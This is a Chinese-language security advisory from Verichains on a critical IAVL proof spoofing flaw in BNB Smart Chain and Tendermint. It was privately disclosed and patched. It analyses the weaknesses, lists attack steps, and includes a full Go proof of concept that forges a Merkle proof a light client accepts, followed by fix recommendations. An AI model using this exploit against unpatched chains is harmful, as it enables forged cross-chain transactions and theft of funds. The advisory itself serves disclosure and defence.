[VSA-2022-101] 從無到欺騙 - 通過多個漏洞進行嚴重的 IAVL 欺騙攻擊

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Verichains
03-01
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該公告重點介紹了 Verichains 在BNB鍊和 Tendermint 代碼庫中發現的多個漏洞所引發的嚴重 IAVL 欺騙攻擊。

攻擊者可能會發起 IAVL 欺騙攻擊，通過利用本公告中描述的弱點鏈，導致與之前的黑客攻擊類似的重大資金損失。我們私下向BNB Chain披露了該問題，並於當天迅速修復了該問題。由於這一努力，沒有發生惡意利用，也沒有損失資金。

概括

BNB Smart Chain (BSC) 實現了許多專用的內置系統機制來輔助跨鏈橋接。為了確保鏈間提交的 Merkle 證明有效，BSC 使用了一些來自 Tendermint 和 Cosmos 的 IAVL + Merkle Tree 實現。 IAVL Tree 用於證明或反駁跨鏈交易和相應有效負載哈希的存在。

2022 年 10 月 6 日，由於代碼中 IAVL 的 RangeProof 驗證漏洞， BNB Chain 的跨鏈橋被利用非法發行 200 萬枚BNB，價值約 5.66 億美元。

2022 年 10 月 11 日，Verichains 在 BSC 和 Tendermint (`ValueOp`) 的 `merkle.SimpleValueOp` 中發現了一個新的嚴重問題。在驗證輸入的鍵值對後，這個“ProofOp”可能會輸出一個零根哈希。在 BSC 中，攻擊者可以通過在 BSC 鏈剛剛建立時在 BC 高度使用多存儲證明來欺騙輕客戶端接受任何子存儲（在我們的例子中是 `ibc` 子存儲）的任意鍵值對已部署（因此 IBC 子存儲根哈希為零）。

我們私下向BNB Chain披露了該問題，並於當天迅速修復了該問題。由於這一努力，沒有發生惡意利用，也沒有損失資金。

由於此公告強調了在 Tendermint 中發現的安全問題，我們決定按照我們的漏洞披露政策等待 120 天，然後再與VSA-2022-100一起向公眾發布。我們敦促所有仍在使用 Tendermint 的 IAVL 證明驗證的項目採取必要措施來保護其資產並降低被利用的風險。

分析

導致這種攻擊的代碼庫中有幾個弱點：

  • 唯一使用的證明結構是“[ProofOpIAVLValue, ProofOpMultiStore]”。但是，這種結構並沒有強制執行，因為對“ProofOps”列表的長度和每個“ProofOp”的類型沒有限制。未使用的 `ProofOp` 類型，例如 `ProofOpSimpleValue` 也在運行時註冊：

 func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return }

  • 在多存儲證明中，CommitID 中子存儲的根哈希允許為 nil（它只是一個 Golang 字節片）。空子商店的哈希值不應為 nil，因為定義無哈希值始終是一個好習慣：

 type CommitID struct {  Version int64 Hash  []byte }

  • 在驗證輸入鍵值對後，`ProofOpSimpleValue` 返回一個零根哈希，而不是在意外輸入時引發錯誤（例如，樹的節點數為負數）。這類似於VSA-2022-100中報告的 Tendermint 中的“ProofOpValue”錯誤：

 func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte {  if index >= total || index < 0 || total <= 0 {     return nil }

結合這些弱點來誘騙輕客戶端接受任何子存儲（在我們的例子中是 `ibc` 子存儲）的任意鍵值對是很簡單的：

  1. 在子存儲為空（其根哈希為 nil）的高度找到有效證明。

  2. 保持 multistore 證明部分不變。

  3. 將 `ProofOpIAVLValue` 替換為 `ProofOpSimpleValue`，其中 `SimpleProof.LeafHash` 是我們選擇的鍵值對的哈希值，`SimpleProof.Total` 為 -1。

開發

這是一個演示攻擊的 PoC：

 package main import ( "bytes" "encoding/hex" "github.com/ethereum/go-ethereum/core/vm/lightclient" goanimo "github.com/tendermint/go-amino" "github.com/tendermint/tendermint/crypto/merkle" "github.com/tendermint/tendermint/crypto/tmhash" "log" ) func main() { // multistore proof at BC height 110000000 // at that height ibc hash should be nil height := 110000000 inputHex := "" input, err := hex.DecodeString(inputHex) if err != nil { panic(err) } op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input}) if err != nil { panic(err) } appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash() log.Printf("expected appHash at %d (maybe +1, not sure): %s \n ", height, hex.EncodeToString(appHash)) // fake key-value pair and its hash key := []byte{0x13, 0x37} value := []byte{0x13, 0x37} vhash := tmhash.Sum(value) bz := new(bytes.Buffer) _ = goanimo.EncodeByteSlice(bz, key) // does not error _ = goanimo.EncodeByteSlice(bz, vhash) kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes() ... )) // this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height. op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{ LeafHash: kvhash, Total: -1, }) fakeKVMP := lightclient.KeyValueMerkleProof{ Key: key, Value: value, StoreName: "ibc", AppHash: appHash, Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}}, } // should be evaluated to true log.Println(fakeKVMP.Validate()) }

受影響的產品

建議

  • 不要在函數“DefaultProofRuntime”中為“ProofOpSimpleValue”和“ProofOpIAVLAbsence”註冊解碼器，因為它們未被使用。根據其在“ProofOps”證明列表中的索引檢查每個“ProofOp”的類型也很好。

  • 考慮為一個空的子商店定義一個散列（可能會導致不兼容）。

我們建議練習安全編碼，在使用輸入之前進行完整性檢查，這樣用戶無論如何使用第三方代碼都不會被利用。

致謝

我們感謝BNB Chain 安全和開發團隊迅速努力解決BNB Chain 代碼庫中發現的漏洞。

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